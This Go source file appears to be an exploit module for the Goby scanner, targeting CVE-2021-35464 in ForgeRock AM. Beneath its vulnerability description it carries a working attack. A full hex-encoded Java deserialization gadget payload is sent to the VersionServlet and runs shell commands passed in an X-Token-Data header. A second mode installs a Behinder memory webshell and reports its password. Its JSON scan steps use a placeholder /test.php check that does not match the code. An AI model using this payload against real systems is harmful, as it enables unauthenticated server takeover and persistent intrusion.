package exploits

import (
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "ForgeRock AM Deserialization Vulnerability (CVE-2021-35464)",
    "Description": "<p>ForgeRock AM is an open source access management and permission control platform, which is widely used in universities and social organizations.</p><p>Deserialization vulnerability exists in the jato.pageSession parameter of the VersionServlet file in AM 6.0.0. x, 6.5.0. x, 6.5.1, 6.5.2. x, and 6.5.3. An unauthenticated attacker can remotely execute arbitrary code and take over the server running ForgeRock AM by constructing a special request. Due to the privilege management function of ForgeRock AM itself, attackers can also directly access other sensitive services on the server that controls ForgeRock AM for further attacks.</p>",
    "Product": "ForgeRock AM",
    "Homepage": "https://backstage.forgerock.com/knowledge/",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "title=\"OpenAM\" || body=\"openam/UI/Login\" || body=\"/openam/UI/Logout\" ||  body=\"/openam/js/auth.js\"",
    "GobyQuery": "title=\"OpenAM\" || body=\"openam/UI/Login\" || body=\"/openam/UI/Logout\" ||  body=\"/openam/js/auth.js\"",
    "Level": "3",
    "Impact": "<p>Deserialization vulnerability exists in the jato.pageSession parameter of the VersionServlet file in AM 6.0.0. x, 6.5.0. x, 6.5.1, 6.5.2. x, and 6.5.3. An unauthenticated attacker can remotely execute arbitrary code and take over the server running ForgeRock AM by constructing a special request. Due to the privilege management function of ForgeRock AM itself, attackers can also directly access other sensitive services on the server that controls ForgeRock AM for further attacks.</p>",
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        "CVE-2021-35464"
    ],
    "CNNVD": [
        "CNNVD-202106-1961"
    ],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Is0day": false,
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://backstage.forgerock.com/knowledge/kb/article/a47894244\">https://backstage.forgerock.com/knowledge/kb/article/a47894244</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2.If not necessary, prohibit public network access to the system.</p>",
    "Translation": {
        "CN": {
            "Name": "ForgeRock AM VersionServlet 反序列化漏洞 (CVE-2021-35464)",
            "Product": "ForgeRock AM",
            "Description": "<p>ForgeRock AM是一个开源的访问管理、权限控制平台，在大学、社会组织中存在广泛的应用。<br></p><p>AM 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x 以及 6.5.3 版本 VersionServlet 文件 jato.pageSession 参数存在反序列化漏洞,未经身份验证的攻击者可以通过构造特殊的请求远程执行任意代码，并接管运行ForgeRock AM的服务器。由于 ForgeRock AM本身的权限管理功能，攻击者在控制 ForgeRock AM的服务器还可以直接访问其他敏感服务，进行进一步的攻击。</p>",
            "Recommendation": "<p>厂商已发布了漏洞修复程序，请及时关注更新：<a href=\"https://backstage.forgerock.com/knowledge/kb/article/a47894244\">https://backstage.forgerock.com/knowledge/kb/article/a47894244</a></p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">AM 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x 以及 6.5.3 版本 VersionServlet 文件 jato.pageSession 参数存在反序列化漏洞,</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">未经身份验证的攻击者可以通过构造特殊的请求远程执行任意代码，并接管运行ForgeRock AM的服务器。由于 ForgeRock AM本身的权限管理功能，攻击者在控制 ForgeRock AM的服务器还可以直接访问其他敏感服务，进行进一步的攻击。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": []
        },
        "EN": {
            "Name": "ForgeRock AM Deserialization Vulnerability (CVE-2021-35464)",
            "Product": "ForgeRock AM",
            "Description": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">ForgeRock AM is an open source access management and permission control platform, which is widely used in universities and social organizations.</span><br></p><p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">Deserialization vulnerability exists in the jato.pageSession parameter of the VersionServlet file in AM 6.0.0. x, 6.5.0. x, 6.5.1, 6.5.2. x, and 6.5.3. An unauthenticated attacker can remotely execute arbitrary code and take over the server running ForgeRock AM by constructing a special request.</span><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">&nbsp;Due to the privilege management function of ForgeRock AM itself, attackers can also directly access other sensitive services on the server that controls ForgeRock AM for further attacks.</span><br></p>",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://backstage.forgerock.com/knowledge/kb/article/a47894244\">https://backstage.forgerock.com/knowledge/kb/article/a47894244</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2.If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">Deserialization vulnerability exists in the jato.pageSession parameter of the VersionServlet file in AM 6.0.0. x, 6.5.0. x, 6.5.1, 6.5.2. x, and 6.5.3. An unauthenticated attacker can remotely execute arbitrary code and take over the server running ForgeRock AM by constructing a special request.</span><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">&nbsp;Due to the privilege management function of ForgeRock AM itself, attackers can also directly access other sensitive services on the server that controls ForgeRock AM for further attacks.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": []
        }
    },
    "References": [
        "https://backstage.forgerock.com/knowledge/kb/article/a47894244",
        "https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464"
    ],
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "Click1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromThread",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [],
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	exploitForgeRockAM92384792346792 := func(u *httpclient.FixUrl, payload string, cmd string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/openam/oauth2/..;/ccversion/Version")
		cfg.VerifyTls = false
		cfg.FollowRedirect = false
		cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")

		if cmd != "" {
			cfg.Header.Store("X-Token-Data", cmd)
		}

		data, _ := hex.DecodeString("00" + payload)
		poc := base64.StdEncoding.EncodeToString(data)
		poc = strings.ReplaceAll(poc, "/", "_")
		poc = strings.ReplaceAll(poc, "+", "-")
		poc = strings.ReplaceAll(poc, "=", "")

		cfg.Data = "jato.pageSession=" + poc
		return httpclient.DoHttpRequest(u, cfg)
	}

	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200306F72672E6170616368652E636C69636B2E636F6E74726F6C2E436F6C756D6E24436F6C756D6E436F6D70617261746F72000000000000000102000249000D617363656E64696E67536F72744C0006636F6C756D6E7400214C6F72672F6170616368652F636C69636B2F636F6E74726F6C2F436F6C756D6E3B7870000000017372001F6F72672E6170616368652E636C69636B2E636F6E74726F6C2E436F6C756D6E00000000000000010200135A00086175746F6C696E6B5A000A65736361706548746D6C4900096D61784C656E6774684C000A6174747269627574657374000F4C6A6176612F7574696C2F4D61703B4C000A636F6D70617261746F7271007E00014C000964617461436C6173737400124C6A6176612F6C616E672F537472696E673B4C000A646174615374796C657371007E00074C00096465636F7261746F727400244C6F72672F6170616368652F636C69636B2F636F6E74726F6C2F4465636F7261746F723B4C0006666F726D617471007E00084C000B686561646572436C61737371007E00084C000C6865616465725374796C657371007E00074C000B6865616465725469746C6571007E00084C000D6D657373616765466F726D61747400194C6A6176612F746578742F4D657373616765466F726D61743B4C00046E616D6571007E00084C000872656E64657249647400134C6A6176612F6C616E672F426F6F6C65616E3B4C0008736F727461626C6571007E000B4C00057461626C657400204C6F72672F6170616368652F636C69636B2F636F6E74726F6C2F5461626C653B4C000D7469746C6550726F706572747971007E00084C0005776964746871007E00087870000100000000707070707070707070707400106F757470757450726F7065727469657370707372001E6F72672E6170616368652E636C69636B2E636F6E74726F6C2E5461626C65000000000000000102001749000E62616E6E6572506F736974696F6E5A0009686F766572526F77735A00176E756C6C696679526F774C6973744F6E44657374726F7949000A706167654E756D6265724900087061676553697A65490013706167696E61746F724174746163686D656E745A000872656E6465724964490008726F77436F756E745A000A73686F7742616E6E65725A0008736F727461626C655A0006736F727465645A000F736F72746564417363656E64696E674C000763617074696F6E71007E00084C000A636F6C756D6E4C6973747400104C6A6176612F7574696C2F4C6973743B4C0007636F6C756D6E7371007E00074C000B636F6E74726F6C4C696E6B7400254C6F72672F6170616368652F636C69636B2F636F6E74726F6C2F416374696F6E4C696E6B3B4C000B636F6E74726F6C4C69737471007E00104C000C6461746150726F766964657274002C4C6F72672F6170616368652F636C69636B2F6461746170726F76696465722F4461746150726F76696465723B4C000668656967687471007E00084C0009706167696E61746F727400254C6F72672F6170616368652F636C69636B2F636F6E74726F6C2F52656E64657261626C653B4C0007726F774C69737471007E00104C000C736F72746564436F6C756D6E71007E00084C0005776964746871007E0008787200286F72672E6170616368652E636C69636B2E636F6E74726F6C2E4162737472616374436F6E74726F6C00000000000000010200094C000E616374696F6E4C697374656E65727400214C6F72672F6170616368652F636C69636B2F416374696F6E4C697374656E65723B4C000A6174747269627574657371007E00074C00096265686176696F727374000F4C6A6176612F7574696C2F5365743B4C000C68656164456C656D656E747371007E00104C00086C697374656E65727400124C6A6176612F6C616E672F4F626A6563743B4C000E6C697374656E65724D6574686F6471007E00084C00046E616D6571007E00084C0006706172656E7471007E00174C00067374796C657371007E0007787070707070707070707000000002000100000000000000000000000100000000000000000170737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A6578700000000077040000000078737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707070707070707070707704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00084C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E0020000787000000DF4CAFEBABE0000003100D60100366F72672F6170616368652F636174616C696E612F636174616C696E612F73657373696F6E2F50657273697374656E744D616E616765720700010100106A6176612F6C616E672F4F626A6563740700030100063C696E69743E010003282956010004436F64650C000500060A0004000801000171010033284C6A6176612F6C616E672F537472696E673B294C6A6176612F696F2F4279746541727261794F757470757453747265616D3B01000765786563436D640C000C000B0A0002000D0100083C636C696E69743E01001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E07001001001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0700120100136A6176612F6C616E672F457863657074696F6E0700140100156A6176612F6C616E672F54687265616447726F75700700160100176A6176612F6C616E672F7265666C6563742F4669656C640700180100135B4C6A6176612F6C616E672F5468726561643B07001A0100106A6176612F6C616E672F54687265616407001C0100106A6176612F6C616E672F537472696E6707001E01000E6A6176612F7574696C2F4C69737407002001001D6A6176612F696F2F4279746541727261794F757470757453747265616D07002201000D537461636B4D61705461626C6501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C002500260A001D002701000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C0029002A0A001D002B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C002D002E0A0004002F0100077468726561647308003101000F6A6176612F6C616E672F436C6173730700330100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C003500360A0034003701000D73657441636365737369626C65010004285A29560C0039003A0A0019003B010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003D003E0A0019003F0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C004100420A001D004301000465786563080045010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C004700480A001F00490100046874747008004B01000674617267657408004D0100126A6176612F6C616E672F52756E6E61626C6507004F01000674686973243008005101000768616E646C657208005301000D6765745375706572636C6173730C0055002E0A00340056010006676C6F62616C08005801000A70726F636573736F727308005A01000473697A650100032829490C005C005D0B0021005E0100152849294C6A6176612F6C616E672F4F626A6563743B0C003D00600B0021006101000372657108006301000B676574526573706F6E73650800650100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C006700680A003400690100186A6176612F6C616E672F7265666C6563742F4D6574686F6407006B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C006D006E0A006C006F01000967657448656164657208007101000C582D546F6B656E2D446174610800730100076973456D70747901000328295A0C007500760A001F00770100097365745374617475730800790100116A6176612F6C616E672F496E746567657207007B010004545950450100114C6A6176612F6C616E672F436C6173733B0C007D007E09007C007F010004284929560C000500810A007C00820C000A000B0A000200840100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B080086010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C008800890A0034008A01000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B0C008C008D0A0034008E01000873657442797465730800900100025B420700920100116765744465636C617265644D6574686F640C009400680A0034009501000B746F42797465417272617901000428295B420C009700980A0023009901000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B0C009B009C0A007C009D010007646F577269746508009F0100136A6176612E6E696F2E427974654275666665720800A1010004777261700800A30100135B4C6A6176612F6C616E672F537472696E673B0700A50100136A6176612F696F2F496E70757453747265616D0700A70100076F732E6E616D650800A90100106A6176612F6C616E672F53797374656D0700AB01000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0C00AD00AE0A00AC00AF01000B746F4C6F776572436173650C00B100420A001F00B201000377696E0800B4010003636D640800B60100022F630800B80100092F62696E2F626173680800BA0100022D630800BC0100116A6176612F6C616E672F52756E74696D650700BE01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C00C000C10A00BF00C2010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C004500C40A00BF00C50100116A6176612F6C616E672F50726F636573730700C701000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C00C900CA0A00C800CB0A002300080100057772697465010007285B42494929560C00CE00CF0A002300D001000472656164010005285B4229490C00D200D30A00A800D4002100020004000000000004000100050006000100070000001100010001000000052AB70009B1000000000009000A000B000100070000001100010001000000052AB8000EB0000000000008000F0006000100070000038F00080010000002A8033BB80028B6002C4C2BB600301232B600384D2C04B6003C2C2BB60040C0001BC0001B4E03360415042DBEA202782D1504323A051905C70006A702641905B600443A0619061246B6004A9A000D1906124CB6004A9A0006A702461905B60030124EB600384D2C04B6003C2C1905B600403A071907C100509A0006A702231907B600301252B600384D2C04B6003C2C1907B600403A071907B600301254B600384DA700163A081907B60030B60057B600571254B600384D2C04B6003C2C1907B600403A071907B60030B600571259B600384DA700103A081907B600301259B600384D2C04B6003C2C1907B600403A071907B60030125BB600384D2C04B6003C2C1907B60040C00021C000213A0803360915091908B9005F0100A2017919081509B9006202003A0A190AB600301264B600384D2C04B6003C2C190AB600403A0B190BB60030126603BD0034B6006A190B03BD0004B600703A0C190BB60030127204BD00345903121F53B6006A190B04BD00045903127453B60070C0001F3A061906C601051906B600789A00FD190CB60030127A04BD00345903B2008053B6006A190C04BD00045903BB007C591100C8B7008353B60070571906B800853A0D1287B8008B3A0E190EB6008F3A07190E129106BD003459031293535904B20080535905B2008053B60096190706BD00045903190DB6009A535904BB007C5903B70083535905190DB6009ABEB8009E53B6007057190CB6003012A004BD00345903190E53B6006A190C04BD00045903190753B6007057A700513A0E12A2B8008B3A0F190F12A404BD00345903129353B60096190F04BD00045903190DB6009A53B600703A07190CB6003012A004BD00345903190F53B6006A190C04BD00045903190753B6007057043B1A990006A70009840901A7FE811A990006A7000EA700053A05840401A7FD87A700044BB10008009500A000A3001100C300D100D4001101BC023102340013002E0039029B0015003C0057029B0015005A007A029B0015007D0295029B0015000002A302A6001500010024000000950015FF002700050107001707001907001B010000FC001407001DFC001A07001F02FC002207000465070011125D0700110CFD002D07002101FF0124000E0107001707001907001B0107001D07001F070004070021010700040700040700040700230001070013FB004DFA0001F80006FA0005FF000600050107001707001907001B0100004207001501FF00050000000042070015000009000C000B00010007000000E2000400070000008C2A01A5000A2AB60078990006A70076014C12AAB800B0B600B312B5B6004A99001906BD001F590312B753590412B95359052A534CA7001606BD001F590312BB53590412BD5359052A534CB800C32BB600C6B600CC4DBB002359B700CD4E033604110400BC083A05A7000C2D1905031504B600D12C1905B600D559360402A0FFED2DB0A700083A06A7000301B000010000008200850015000100240000003C00090C02FC002705FF0012000207001F0700A60000FF001F000607001F0700A60700A807002301070093000008FF000E000107001F0000420700150400007571007E00240000010CCAFEBABE00000033001101002F6F72672F6170616368652F636F6D6D6F6E732F636174616C696E612F7265616C6D2F4D656D6F727952756C655365740700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C650100124D656D6F727952756C655365742E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008454B42514E5A43537077010078737200146A6176612E6D6174682E426967496E74656765728CFC9F1FA93BFB1D030006490008626974436F756E744900096269744C656E67746849001366697273744E6F6E7A65726F427974654E756D49000C6C6F776573745365744269744900067369676E756D5B00096D61676E69747564657400025B42787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B0200007870FFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFE000000017571007E002400000001017878"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			resp, err := exploitForgeRockAM92384792346792(u, echoPayload, "echo "+randStr)
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {

			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				resp, err := exploitForgeRockAM92384792346792(expResult.HostInfo, echoPayload, cmd)
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)

				if serializedData == "" {
					ss.Params["Encoding"] = "hex"
					serializedData, _, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				} else {
					poc, _ := base64.StdEncoding.DecodeString(serializedData)
					serializedData = hex.EncodeToString(poc)
				}

				resp, err := exploitForgeRockAM92384792346792(expResult.HostInfo, serializedData, "")

				if err == nil && resp.StatusCode == 200 {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
